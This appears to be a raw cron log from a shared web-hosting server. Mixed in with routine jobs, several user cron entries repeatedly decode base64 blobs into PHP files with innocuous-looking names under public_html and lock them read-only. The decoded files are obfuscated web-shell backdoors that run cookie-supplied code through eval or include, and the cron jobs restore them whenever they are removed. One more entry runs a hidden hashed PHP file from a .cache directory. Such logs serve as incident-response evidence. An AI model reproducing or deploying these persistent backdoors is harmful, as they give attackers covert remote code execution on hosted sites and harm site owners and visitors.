Mar  1 14:12:01 medusa CROND[7697]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:12:01 medusa CROND[7699]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:12:01 medusa CROND[7702]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:12:01 medusa CROND[7704]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:12:01 medusa CROND[7712]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:13:01 medusa CROND[32409]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:13:02 medusa CROND[32577]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:13:02 medusa CROND[32578]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 14:13:02 medusa CROND[32580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:13:02 medusa CROND[32581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:13:02 medusa CROND[32584]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:13:02 medusa CROND[32585]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:13:02 medusa CROND[32587]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:13:02 medusa CROND[32582]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:13:02 medusa CROND[32598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:13:02 medusa CROND[32602]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:13:02 medusa CROND[32603]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:13:02 medusa CROND[32605]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:13:02 medusa CROND[32607]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:14:01 medusa CROND[24426]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:14:01 medusa CROND[24572]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:14:01 medusa CROND[24573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:14:01 medusa CROND[24574]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:14:01 medusa CROND[24577]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:14:01 medusa CROND[24578]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:14:01 medusa CROND[24579]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
